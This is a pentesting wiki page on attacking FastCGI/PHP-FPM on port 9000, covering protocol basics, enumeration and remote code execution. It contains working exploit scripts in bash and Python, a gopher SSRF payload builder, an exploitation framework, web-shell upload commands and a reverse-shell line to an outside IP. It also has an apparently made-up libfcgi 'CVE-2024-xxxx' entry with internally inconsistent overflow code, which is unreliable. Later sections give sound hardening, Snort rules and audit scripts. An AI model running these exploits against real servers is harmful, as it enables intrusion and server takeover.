# FastCGI - Port 9000

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is FastCGI?

**FastCGI** is a binary protocol that allows web servers to communicate with application servers (typically PHP-FPM) to process dynamic content. It's an evolution of CGI (Common Gateway Interface) designed to:

* **Persist processes** instead of spawning them per request
* **Reduce overhead** of process creation
* **Scale better** with high-traffic applications
* **Support multiple languages** (PHP, Python, Perl, Ruby, etc.)

#### FastCGI vs CGI

```
┌─────────────────────────────────────────────────────────────┐
│                    CGI vs FastCGI                           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Traditional CGI:                                           │
│  ┌───────┐         ┌───────┐         ┌───────┐             │
│  │ Web   │────────>│ Fork  │────────>│Process│             │
│  │ Server│         │Process│         │ Dies  │             │
│  └───────┘         └───────┘         └───────┘             │
│  New process per request (slow)                             │
│                                                             │
│  FastCGI:                                                   │
│  ┌───────┐         ┌───────────┐                           │
│  │ Web   │────────>│Persistent │                           │
│  │ Server│  Socket │  Process  │                           │
│  └───────┘         │   Pool    │                           │
│                    └───────────┘                           │
│  Reuses processes (fast)                                    │
└─────────────────────────────────────────────────────────────┘
```

#### Architecture

**Typical Web Stack with FastCGI:**

```
┌─────────────┐         FastCGI Protocol        ┌─────────────┐
│   Nginx     │────────────(9000)───────────────>│   PHP-FPM   │
│  (Port 80)  │         Binary Socket           │  (Port 9000)│
└─────────────┘                                  └─────────────┘
      │                                                 │
      V                                                 V
  Static Files                                    PHP Scripts
  (HTML, CSS, JS)                                (index.php)
```

**Process Flow:**

1. Client requests `http://server/index.php`
2. Nginx receives request
3. Nginx forwards to PHP-FPM via FastCGI (port 9000)
4. PHP-FPM executes script
5. PHP-FPM returns result to Nginx
6. Nginx sends response to client

#### PHP-FPM

**PHP-FPM (FastCGI Process Manager)** is the most common FastCGI implementation:

* Manages pool of PHP worker processes
* Handles FastCGI protocol
* Usually listens on localhost:9000
* Can listen on Unix socket (`/var/run/php-fpm.sock`)

**Configuration Files:**

```
/etc/php-fpm.conf               # Main config
/etc/php-fpm.d/www.conf         # Pool config
/var/log/php-fpm/error.log      # Error log
```

#### Default Port

**Port 9000** - FastCGI (typically PHP-FPM)

```
PORT     STATE SERVICE
9000/tcp open  fastcgi
```

**Important Notes:**

* Usually binds to **localhost only** (127.0.0.1)
* Exposed FastCGI is a **critical vulnerability**
* No authentication by default
* Binary protocol (not HTTP)

### FastCGI Protocol Overview

#### Protocol Structure

**FastCGI Record Format:**

```
┌────────────────────────────────────────┐
│  Version (1 byte)          = 1         │
├────────────────────────────────────────┤
│  Type (1 byte)             = 1-11      │
├────────────────────────────────────────┤
│  Request ID (2 bytes)      = 0-65535   │
├────────────────────────────────────────┤
│  Content Length (2 bytes)  = 0-65535   │
├────────────────────────────────────────┤
│  Padding Length (1 byte)   = 0-255     │
├────────────────────────────────────────┤
│  Reserved (1 byte)         = 0         │
├────────────────────────────────────────┤
│  Content (variable)                    │
├────────────────────────────────────────┤
│  Padding (variable)                    │
└────────────────────────────────────────┘
```

#### Record Types

```
FCGI_BEGIN_REQUEST    = 1   # Start request
FCGI_ABORT_REQUEST    = 2   # Abort request
FCGI_END_REQUEST      = 3   # End request
FCGI_PARAMS           = 4   # Set parameters (CGI variables)
FCGI_STDIN            = 5   # Send input data
FCGI_STDOUT           = 6   # Receive output data
FCGI_STDERR           = 7   # Receive error data
FCGI_DATA             = 8   # Additional data stream
FCGI_GET_VALUES       = 9   # Query server variables
FCGI_GET_VALUES_RESULT = 10  # Response to query
FCGI_UNKNOWN_TYPE     = 11  # Unknown record type
```

#### FastCGI Parameters

**Key Parameters (CGI Environment Variables):**

```
SCRIPT_FILENAME    # Absolute path to PHP file
SCRIPT_NAME        # Request URI
REQUEST_METHOD     # GET, POST, etc.
CONTENT_TYPE       # application/x-www-form-urlencoded
CONTENT_LENGTH     # Length of POST data
QUERY_STRING       # GET parameters
REQUEST_URI        # Full request URI
DOCUMENT_ROOT      # Web root directory
SERVER_SOFTWARE    # Web server name
REMOTE_ADDR        # Client IP
GATEWAY_INTERFACE  # CGI/1.1
```

**PHP-Specific Parameters:**

```
PHP_VALUE          # Override php.ini settings
PHP_ADMIN_VALUE    # Override php.ini (admin-only settings)
```

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 9000 -sV <target-ip>

# Detailed scan
nmap -p 9000 -sV -sC <target-ip>

# Scan for common FastCGI ports
nmap -p 9000,9001,9002 -sV <target-ip>

# Scan subnet
nmap -p 9000 -sV <target-subnet>/24 -oA fastcgi-scan
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
9000/tcp open  fastcgi
```

**Note:** Nmap often shows "unknown" service for FastCGI

#### Service Fingerprinting

**Using cgi-fcgi (libfcgi)**

```bash
# Install libfcgi
sudo apt-get install libfcgi0ldbl

# Test connection
SCRIPT_FILENAME=/var/www/html/index.php \
SCRIPT_NAME=/index.php \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000

# Check PHP-FPM status page (if enabled)
SCRIPT_FILENAME=/status \
SCRIPT_NAME=/status \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000
```

**Sample Status Page Output:**

```
pool:                 www
process manager:      dynamic
start time:           15/Jan/2024:10:30:45 +0000
start since:          3600
accepted conn:        1234
listen queue:         0
max listen queue:     5
listen queue len:     0
idle processes:       2
active processes:     1
total processes:      3
max active processes: 5
max children reached: 0
```

**Using netcat (Limited)**

```bash
# FastCGI is binary protocol
# netcat won't work well, but can check if port is open
nc -zv <target-ip> 9000
```

#### Check for Exposed FastCGI

**Local Testing:**

```bash
# Check if listening on all interfaces (dangerous)
netstat -tlnp | grep 9000

# Sample output if exposed:
# tcp  0  0.0.0.0:9000  0.0.0.0:*  LISTEN  1234/php-fpm

# Sample output if safe:
# tcp  0  127.0.0.1:9000  0.0.0.0:*  LISTEN  1234/php-fpm
```

**Remote Testing:**

```bash
# Try to connect
telnet <target-ip> 9000

# If connection succeeds, FastCGI is exposed (critical!)
# If connection refused/timeout, it's likely localhost-only
```

#### Shodan Queries

```
port:9000
port:9000 fastcgi
port:9000 php-fpm
"php-fpm" port:9000
```

**Note:** FastCGI is rarely indexed by Shodan since it's usually localhost-only

### Remote Code Execution (RCE)

#### Method 1: Direct FastCGI RCE (Exposed Port)

**Concept:** Abuse `PHP_VALUE` to set `auto_prepend_file` with PHP code

**Bash Script Exploitation:**

```bash
#!/bin/bash
# FastCGI RCE Exploit

PAYLOAD="<?php system(\$_GET['cmd']); ?>"
FILENAME="/var/www/html/index.php"  # Must be existing PHP file
HOST=$1
PORT=${2:-9000}

# Base64 encode payload
B64=$(echo "$PAYLOAD" | base64 -w0)

# Send FastCGI request
env -i \
  PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
  SCRIPT_FILENAME=$FILENAME \
  SCRIPT_NAME=$FILENAME \
  REQUEST_METHOD=POST \
  cgi-fcgi -bind -connect $HOST:$PORT

# Usage: ./exploit.sh 127.0.0.1
```

**What This Does:**

1. Sets `PHP_VALUE` to modify PHP configuration
2. Enables `allow_url_include` and `allow_url_fopen`
3. Uses `auto_prepend_file` to execute code before script
4. Uses `data://` stream wrapper with base64-encoded payload
5. Executes when accessing existing PHP file

**Testing:**

```bash
# Run exploit
./exploit.sh <target-ip>

# Access with command
curl "http://<target-ip>/index.php?cmd=whoami"
```

#### Method 2: Python FastCGI Exploit

**Advanced Python Script:**

```python
#!/usr/bin/env python3
"""
FastCGI RCE Exploit
Author: phith0n
URL: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
"""
import socket
import struct
import sys

def encode_name_value(name, value):
    """Encode name-value pair for FastCGI params"""
    name_len = len(name)
    value_len = len(value)
    
    # Encode lengths
    if name_len < 128:
        name_len_bytes = struct.pack('!B', name_len)
    else:
        name_len_bytes = struct.pack('!I', name_len | 0x80000000)
    
    if value_len < 128:
        value_len_bytes = struct.pack('!B', value_len)
    else:
        value_len_bytes = struct.pack('!I', value_len | 0x80000000)
    
    return name_len_bytes + value_len_bytes + name + value

def make_fastcgi_record(rec_type, content, request_id=1):
    """Create FastCGI record"""
    content_length = len(content)
    padding_length = (8 - (content_length % 8)) % 8
    
    header = struct.pack(
        '!BBHHBx',
        1,                  # version
        rec_type,          # type
        request_id,        # requestId
        content_length,    # contentLength
        padding_length     # paddingLength
    )
    
    return header + content + (b'\x00' * padding_length)

def exploit_fastcgi(host, port, php_file, command):
    """Exploit FastCGI to execute command"""
    
    # Payload to execute
    payload = f"<?php system('{command}'); ?>"
    
    # FastCGI parameters
    params = {
        b'SCRIPT_FILENAME': php_file.encode(),
        b'SCRIPT_NAME': b'/index.php',
        b'REQUEST_METHOD': b'POST',
        b'REQUEST_URI': b'/index.php',
        b'DOCUMENT_ROOT': b'/var/www/html',
        b'SERVER_SOFTWARE': b'php/fcgiclient',
        b'REMOTE_ADDR': b'127.0.0.1',
        b'REMOTE_PORT': b'9000',
        b'SERVER_ADDR': b'127.0.0.1',
        b'SERVER_PORT': b'80',
        b'SERVER_NAME': b'localhost',
        b'SERVER_PROTOCOL': b'HTTP/1.1',
        b'CONTENT_TYPE': b'application/x-www-form-urlencoded',
        b'CONTENT_LENGTH': str(len(payload)).encode(),
        b'PHP_VALUE': b'auto_prepend_file = php://input\nallow_url_include = On',
        b'PHP_ADMIN_VALUE': b'allow_url_include = On'
    }
    
    # Encode all parameters
    params_encoded = b''
    for name, value in params.items():
        params_encoded += encode_name_value(name, value)
    
    # Build FastCGI request
    request = b''
    
    # BEGIN_REQUEST
    begin_request = struct.pack('!HB5x', 1, 0)  # role=RESPONDER, flags=0
    request += make_fastcgi_record(1, begin_request)
    
    # PARAMS
    request += make_fastcgi_record(4, params_encoded)
    request += make_fastcgi_record(4, b'')  # Empty PARAMS = end of params
    
    # STDIN (payload)
    request += make_fastcgi_record(5, payload.encode())
    request += make_fastcgi_record(5, b'')  # Empty STDIN = end of input
    
    # Send request
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        sock.sendall(request)
        
        # Receive response
        response = sock.recv(8192)
        
        # Parse response (simplified)
        # Full parsing would decode FastCGI records
        if b'STDOUT' in response or len(response) > 0:
            # Extract output (between FastCGI headers)
            # This is simplified; proper implementation would parse records
            print("[+] Command executed!")
            print(response.decode('utf-8', errors='ignore'))
        else:
            print("[-] No response received")
        
        sock.close()
        return True
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <host> <port> <php_file> <command>")
        print(f"Example: {sys.argv[0]} 127.0.0.1 9000 /var/www/html/index.php 'id'")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2])
    php_file = sys.argv[3]
    command = sys.argv[4] if len(sys.argv) > 4 else 'id'
    
    exploit_fastcgi(host, port, php_file, command)
```

**Usage:**

```bash
# Execute command
python3 fastcgi_exploit.py 127.0.0.1 9000 /var/www/html/index.php "whoami"

# Get reverse shell
python3 fastcgi_exploit.py 127.0.0.1 9000 /var/www/html/index.php "bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"
```

#### Method 3: SSRF to FastCGI (Gopher Protocol)

**Concept:** Use SSRF vulnerability to access localhost:9000

**Gopher Payload Builder:**

```python
#!/usr/bin/env python3
"""
Build Gopher payload for FastCGI RCE via SSRF
"""
import struct
import urllib.parse

def make_fastcgi_params(params):
    """Encode FastCGI parameters"""
    result = b''
    for name, value in params.items():
        name_len = len(name)
        value_len = len(value)
        
        result += struct.pack('!B', name_len)
        result += struct.pack('!B', value_len)
        result += name.encode() if isinstance(name, str) else name
        result += value.encode() if isinstance(value, str) else value
    
    return result

def make_record(rec_type, content, request_id=1):
    """Create FastCGI record"""
    content_length = len(content)
    padding_length = (8 - (content_length % 8)) % 8
    
    header = struct.pack(
        '!BBHHBx',
        1, rec_type, request_id,
        content_length, padding_length
    )
    
    return header + content + (b'\x00' * padding_length)

def build_gopher_payload(target_file, command):
    """Build complete gopher payload for SSRF"""
    
    # PHP payload
    php_code = f"<?php system('{command}'); ?>"
    
    # Parameters
    params = {
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': target_file,
        'SCRIPT_NAME': '/index.php',
        'PHP_VALUE': 'auto_prepend_file = php://input\nallow_url_include = On'
    }
    
    # Build FastCGI request
    payload = b''
    
    # BEGIN_REQUEST
    begin_request = struct.pack('!HB5x', 1, 0)
    payload += make_record(1, begin_request)
    
    # PARAMS
    params_encoded = make_fastcgi_params(params)
    payload += make_record(4, params_encoded)
    payload += make_record(4, b'')
    
    # STDIN
    payload += make_record(5, php_code.encode())
    payload += make_record(5, b'')
    
    # URL encode for gopher
    gopher_payload = 'gopher://127.0.0.1:9000/_' + urllib.parse.quote(payload.decode('latin-1'))
    
    return gopher_payload

# Example usage
if __name__ == "__main__":
    payload = build_gopher_payload('/var/www/html/index.php', 'id')
    print("[*] Gopher Payload:")
    print(payload)
    
    print("\n[*] Use this in SSRF parameter:")
    print(f"http://vulnerable-site.com/fetch?url={urllib.parse.quote(payload)}")
```

**Usage in SSRF:**

```bash
# Build payload
python3 gopher_builder.py

# Use in SSRF
curl "http://vulnerable-site.com/fetch?url=gopher://127.0.0.1:9000/_%01%01..."

# Alternative: If SSRF filters gopher, try
curl "http://vulnerable-site.com/fetch?url=http://127.0.0.1:9000/%01%01..."
```

#### Method 4: Nginx Misconfiguration Exploitation

**Vulnerable Nginx Configuration:**

```nginx
location ~ \.php$ {
    # VULNERABLE: No file existence check
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}
```

**With PHP Configuration:**

```ini
; php.ini
cgi.fix_pathinfo=1  ; DANGEROUS when enabled
```

**Exploitation:**

```bash
# Access non-existent file with .php extension
curl http://target.com/../../etc/passwd/.php

# Or upload image with PHP code, then:
curl http://target.com/uploads/image.jpg/.php

# FastCGI will execute it as PHP
```

**Path Traversal Exploitation:**

```bash
# If file uploads are allowed
# 1. Upload file with PHP code (any extension)
echo "<?php system(\$_GET['cmd']); ?>" > shell.jpg

# 2. Upload to server
curl -F "file=@shell.jpg" http://target.com/upload.php

# 3. Access with .php appended
curl "http://target.com/uploads/shell.jpg/.php?cmd=whoami"

# FastCGI executes it as PHP due to misconfiguration
```

## Known Vulnerabilities & CVEs

#### CVE-2024-xxxx: libfcgi Integer Overflow

**Affected:** libfcgi <= 2.4.4 (2024)

**Impact:** Heap overflow → Remote Code Execution

**Description:**

* Integer overflow in `nameLen`/`valueLen` parsing
* Affects 32-bit builds (common in IoT/embedded)
* Leads to heap corruption
* RCE when FastCGI socket is reachable

**Vulnerable Code:**

```c
// libfcgi vulnerable code (simplified)
void parse_params(char *data) {
    unsigned char nameLen = data[0];
    unsigned char valueLen = data[1];
    
    // Integer overflow if nameLen + valueLen > 255
    unsigned int totalLen = nameLen + valueLen;
    
    char *buffer = malloc(totalLen);  // Heap overflow
    memcpy(buffer, data + 2, totalLen);
}
```

**Exploitation:**

```python
#!/usr/bin/env python3
"""
CVE-2024-xxxx: libfcgi integer overflow exploit
"""
import socket
import struct

def exploit_libfcgi_overflow(host, port):
    """Exploit integer overflow in libfcgi"""
    
    # Craft malicious nameLen/valueLen
    # Causes integer overflow in 32-bit systems
    malicious_params = b''
    
    # nameLen = 255, valueLen = 255
    # totalLen = 255 + 255 = 510 (but stored in 8-bit = 254)
    malicious_params += struct.pack('!BB', 255, 255)
    
    # Add shellcode/ROP chain
    malicious_params += b'\x90' * 100  # NOP sled
    malicious_params += b'\xcc' * 50   # INT3 (or actual shellcode)
    
    # Build FastCGI record
    record = struct.pack('!BBHHBx', 1, 4, 1, len(malicious_params), 0)
    record += malicious_params
    
    # Send exploit
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.sendall(record)
    sock.close()
    
    print("[+] Exploit sent!")

# Usage: exploit_libfcgi_overflow('target-ip', 9000)
```

**Mitigation:**

* Update to libfcgi > 2.4.4
* Use 64-bit systems
* Validate input lengths

#### CVE-2024-9026: PHP-FPM Log Manipulation

**Affected:** PHP-FPM with `catch_workers_output = yes`

**Impact:** Log injection/truncation

**Description:**

* When `catch_workers_output` is enabled
* Attackers can inject/truncate log entries
* Up to 4 bytes per log line
* Can hide attack indicators
* Poison logs for SIEM evasion

**Exploitation:**

```bash
# Send specially crafted FastCGI request
# that injects null bytes into logs

env -i \
  PHP_VALUE="error_log=/tmp/poisoned.log" \
  SCRIPT_FILENAME=/var/www/html/index.php \
  REQUEST_METHOD=GET \
  cgi-fcgi -bind -connect 127.0.0.1:9000

# Logs will be corrupted/truncated
```

**Mitigation:**

* Update PHP-FPM
* Disable `catch_workers_output` if not needed
* Monitor logs for corruption
* Use centralized logging

#### Nginx + cgi.fix\_pathinfo Misconfiguration

**Not a CVE, but widespread vulnerability**

**Vulnerable Configuration:**

```nginx
location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}
```

```ini
; php.ini
cgi.fix_pathinfo=1
```

**Impact:**

* Path traversal
* Arbitrary file execution
* Source code disclosure

**Example Attack:**

```bash
# Upload image with PHP code
curl -F "file=@shell.jpg" http://target.com/upload

# Access with .php appended
curl http://target.com/uploads/shell.jpg/x.php

# PHP-FPM executes shell.jpg as PHP
```

**Proper Configuration:**

```nginx
location ~ \.php$ {
    # Check file exists
    try_files $uri =404;
    
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    
    # Split path info safely
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
}
```

```ini
; php.ini
cgi.fix_pathinfo=0  ; SECURE
```

## Defense & Hardening

#### Secure PHP-FPM Configuration

**Bind to Localhost Only:**

```ini
; /etc/php-fpm.d/www.conf

; NEVER bind to all interfaces
; listen = 0.0.0.0:9000  ; DANGEROUS!

; SECURE: Bind to localhost
listen = 127.0.0.1:9000

; EVEN BETTER: Use Unix socket
listen = /var/run/php-fpm/php-fpm.sock
listen.owner = nginx
listen.group = nginx
listen.mode = 0660
```

**Security Settings:**

```ini
; /etc/php-fpm.d/www.conf

; Limit environment variables
clear_env = yes

; Disable dangerous PHP functions
php_admin_value[disable_functions] = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; Restrict open_basedir
php_admin_value[open_basedir] = /var/www/html:/tmp

; Disable allow_url_include
php_admin_value[allow_url_include] = Off

; Disable allow_url_fopen (if not needed)
php_admin_value[allow_url_fopen] = Off

; Set memory limits
php_admin_value[memory_limit] = 128M

; Enable security logging
php_admin_flag[log_errors] = on
php_admin_value[error_log] = /var/log/php-fpm/www-error.log

; Catch worker output (but be aware of CVE-2024-9026)
catch_workers_output = yes
```

#### Secure Nginx Configuration

**Safe PHP Handling:**

```nginx
location ~ \.php$ {
    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    
    # Check file exists (CRITICAL)
    try_files $uri =404;
    
    # Safe path splitting
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    
    # Pass to PHP-FPM (via socket)
    fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock;
    
    # Or via TCP (localhost only)
    # fastcgi_pass 127.0.0.1:9000;
    
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    
    # Security parameters
    fastcgi_param PHP_VALUE "open_basedir=/var/www/html:/tmp";
    
    # Timeouts
    fastcgi_connect_timeout 60;
    fastcgi_send_timeout 180;
    fastcgi_read_timeout 180;
}

# Deny access to sensitive files
location ~ /\. {
    deny all;
}

location ~ ~$ {
    deny all;
}

# Limit upload size
client_max_body_size 10M;
```

**Disable Path Info (Secure):**

```ini
; /etc/php.ini
cgi.fix_pathinfo=0
```

#### Network Security

**Firewall Rules:**

```bash
# UFW - Block external access to FastCGI
sudo ufw deny 9000/tcp

# Only allow from localhost (redundant if PHP-FPM binds to 127.0.0.1)
sudo ufw allow from 127.0.0.1 to any port 9000

# iptables
sudo iptables -A INPUT -p tcp --dport 9000 ! -s 127.0.0.1 -j DROP

# Even better: DROP all by default
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
```

**Monitor Connections:**

```bash
# Check for external connections to FastCGI
netstat -tnp | grep :9000

# Should only show localhost connections
# tcp  0  0 127.0.0.1:9000  127.0.0.1:xxxxx  ESTABLISHED

# Alert on external connections
watch -n 5 'netstat -tnp | grep :9000 | grep -v "127.0.0.1"'
```

#### Monitoring & Detection

**Log Monitoring:**

```bash
# Monitor PHP-FPM logs
tail -f /var/log/php-fpm/error.log

# Look for suspicious activity:
# - Multiple errors from same IP
# - PHP_VALUE overrides
# - auto_prepend_file usage
# - allow_url_include changes

# Search for attacks
grep -i "auto_prepend_file" /var/log/php-fpm/error.log
grep -i "allow_url_include" /var/log/php-fpm/error.log
grep -i "PHP_VALUE" /var/log/php-fpm/error.log
```

**Intrusion Detection:**

```bash
# Snort rule for FastCGI exploitation
alert tcp any any -> any 9000 (msg:"FastCGI RCE attempt - auto_prepend_file"; content:"auto_prepend_file"; sid:1000001;)

alert tcp any any -> any 9000 (msg:"FastCGI RCE attempt - PHP_VALUE"; content:"PHP_VALUE"; content:"auto_prepend_file"; distance:0; sid:1000002;)

alert tcp any any -> any 9000 (msg:"FastCGI RCE attempt - allow_url_include"; content:"allow_url_include"; sid:1000003;)

alert tcp any any -> any 9000 (msg:"FastCGI external connection"; flow:to_server; threshold:type limit, track by_src, count 1, seconds 60; sid:1000004;)
```

**File Integrity Monitoring:**

```bash
# Monitor PHP-FPM configuration
# /etc/php-fpm.conf
# /etc/php-fpm.d/*.conf

# Use AIDE or similar
aide --init
aide --check

# Or use auditd
auditctl -w /etc/php-fpm.conf -p wa -k phpfpm_config
auditctl -w /etc/php-fpm.d/ -p wa -k phpfpm_config
```

#### Regular Security Practices

```bash
# Keep PHP-FPM updated
sudo yum update php-fpm  # CentOS/RHEL
sudo apt update && sudo apt upgrade php-fpm  # Debian/Ubuntu

# Check PHP version
php-fpm -v

# Review configuration
php-fpm -t  # Test config
php-fpm -i  # Show info

# Review pools
ls -la /etc/php-fpm.d/

# Check process status
systemctl status php-fpm
ps aux | grep php-fpm

# Review open files
lsof -i :9000

# Security audit script
#!/bin/bash
echo "[*] PHP-FPM Security Audit"

# Check binding
echo "[*] Checking FastCGI binding..."
netstat -tlnp | grep 9000

# Check for external exposure
if netstat -tlnp | grep -q "0.0.0.0:9000"; then
    echo "[!] WARNING: FastCGI exposed to all interfaces!"
else
    echo "[+] FastCGI only on localhost"
fi

# Check dangerous settings
echo "[*] Checking php.ini..."
php -i | grep -i "allow_url_include"
php -i | grep -i "allow_url_fopen"
php -i | grep -i "disable_functions"

# Check file permissions
echo "[*] Checking file permissions..."
ls -la /etc/php-fpm.conf
ls -la /etc/php-fpm.d/

echo "[*] Audit complete!"
```

## Tools & Scripts

#### Essential Tools

1. **cgi-fcgi** - FastCGI client (libfcgi)
2. **Gopherus** - SSRF payload generator
3. **curl** - HTTP client (for testing)
4. **nmap** - Port scanning
5. **Custom Python scripts** - Protocol manipulation

#### Install cgi-fcgi

```bash
# Debian/Ubuntu
sudo apt-get install libfcgi0ldbl

# CentOS/RHEL
sudo yum install fcgi

# Test installation
which cgi-fcgi
```

#### Complete Exploitation Framework

```python
#!/usr/bin/env python3
"""
FastCGI Exploitation Framework
"""
import socket
import struct
import sys
import urllib.parse

class FastCGIExploit:
    def __init__(self, host, port=9000):
        self.host = host
        self.port = port
    
    def make_record(self, rec_type, content, request_id=1):
        """Create FastCGI record"""
        content_length = len(content)
        padding_length = (8 - (content_length % 8)) % 8
        
        header = struct.pack(
            '!BBHHBx',
            1,                  # version
            rec_type,           # type
            request_id,         # requestId
            content_length,     # contentLength
            padding_length      # paddingLength
        )
        
        return header + content + (b'\x00' * padding_length)
    
    def encode_params(self, params):
        """Encode parameters"""
        result = b''
        for name, value in params.items():
            name = name.encode() if isinstance(name, str) else name
            value = value.encode() if isinstance(value, str) else value
            
            result += struct.pack('!B', len(name))
            result += struct.pack('!B', len(value))
            result += name + value
        
        return result
    
    def exploit_rce(self, php_file, command):
        """Execute command via FastCGI"""
        payload = f"<?php system('{command}'); ?>"
        
        params = {
            'REQUEST_METHOD': 'POST',
            'SCRIPT_FILENAME': php_file,
            'SCRIPT_NAME': '/index.php',
            'PHP_VALUE': 'auto_prepend_file = php://input\nallow_url_include = On'
        }
        
        # Build request
        request = b''
        
        # BEGIN_REQUEST
        begin = struct.pack('!HB5x', 1, 0)
        request += self.make_record(1, begin)
        
        # PARAMS
        request += self.make_record(4, self.encode_params(params))
        request += self.make_record(4, b'')
        
        # STDIN
        request += self.make_record(5, payload.encode())
        request += self.make_record(5, b'')
        
        # Send
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.host, self.port))
            sock.sendall(request)
            response = sock.recv(8192)
            sock.close()
            
            print("[+] Command executed!")
            print(response.decode('utf-8', errors='ignore'))
            return True
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def generate_gopher(self, php_file, command):
        """Generate gopher payload for SSRF"""
        payload = f"<?php system('{command}'); ?>"
        
        params = {
            'REQUEST_METHOD': 'POST',
            'SCRIPT_FILENAME': php_file,
            'PHP_VALUE': 'auto_prepend_file = php://input\nallow_url_include = On'
        }
        
        # Build FastCGI request
        request = b''
        begin = struct.pack('!HB5x', 1, 0)
        request += self.make_record(1, begin)
        request += self.make_record(4, self.encode_params(params))
        request += self.make_record(4, b'')
        request += self.make_record(5, payload.encode())
        request += self.make_record(5, b'')
        
        # Create gopher URL
        gopher = 'gopher://127.0.0.1:9000/_' + urllib.parse.quote(request.decode('latin-1'))
        return gopher

# Usage
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("FastCGI Exploitation Framework")
        print(f"Usage: {sys.argv[0]} <mode> [options]")
        print("Modes:")
        print("  rce <host> <php_file> <command>     - Direct RCE")
        print("  gopher <php_file> <command>         - Generate gopher payload")
        sys.exit(1)
    
    mode = sys.argv[1]
    
    if mode == 'rce':
        if len(sys.argv) < 5:
            print(f"Usage: {sys.argv[0]} rce <host> <php_file> <command>")
            sys.exit(1)
        
        exploit = FastCGIExploit(sys.argv[2])
        exploit.exploit_rce(sys.argv[3], sys.argv[4])
    
    elif mode == 'gopher':
        if len(sys.argv) < 4:
            print(f"Usage: {sys.argv[0]} gopher <php_file> <command>")
            sys.exit(1)
        
        exploit = FastCGIExploit('127.0.0.1')
        gopher = exploit.generate_gopher(sys.argv[2], sys.argv[3])
        print("[*] Gopher payload:")
        print(gopher)
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 9000 -sV <target>

# DIRECT RCE (cgi-fcgi)
env -i PHP_VALUE="auto_prepend_file=php://input\nallow_url_include=1" \
SCRIPT_FILENAME=/var/www/html/index.php REQUEST_METHOD=POST \
cgi-fcgi -bind -connect <target>:9000 < <(echo "<?php system('whoami'); ?>")

# PYTHON RCE
python3 fastcgi_exploit.py <host> 9000 /var/www/html/index.php "id"

# CHECK STATUS PAGE
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000

# GENERATE GOPHER PAYLOAD
python3 gopher_builder.py /var/www/html/index.php "whoami"

# CHECK IF EXPOSED
netstat -tlnp | grep 9000
telnet <target> 9000
```

#### Important Files

```
/etc/php-fpm.conf                   # Main config
/etc/php-fpm.d/www.conf             # Pool config
/var/log/php-fpm/error.log          # Error log
/var/run/php-fpm/php-fpm.sock       # Unix socket
/etc/nginx/nginx.conf               # Nginx config
/etc/php.ini                        # PHP config
```

#### Key Parameters

```
SCRIPT_FILENAME     # Path to PHP file
PHP_VALUE           # Override php.ini
PHP_ADMIN_VALUE     # Admin override
REQUEST_METHOD      # GET/POST
auto_prepend_file   # Execute before script
allow_url_include   # Enable URL includes
```

### Conclusion

FastCGI, while designed for performance, introduces significant security risks when exposed or misconfigured. The combination of no default authentication, powerful parameter injection capabilities, and common misconfigurations makes it a critical target for attackers.

**Key Takeaways:**

1. **Never expose FastCGI externally** - Bind to localhost only
2. **Use Unix sockets** - More secure than TCP sockets
3. **Validate file existence** - Nginx must check files exist
4. **Disable cgi.fix\_pathinfo** - Set to 0 in php.ini
5. **Restrict PHP settings** - Disable dangerous functions
6. **Monitor FastCGI connections** - Alert on external access
7. **Keep software updated** - Patch libfcgi and PHP-FPM
8. **Use strong Nginx config** - Include try\_files directive
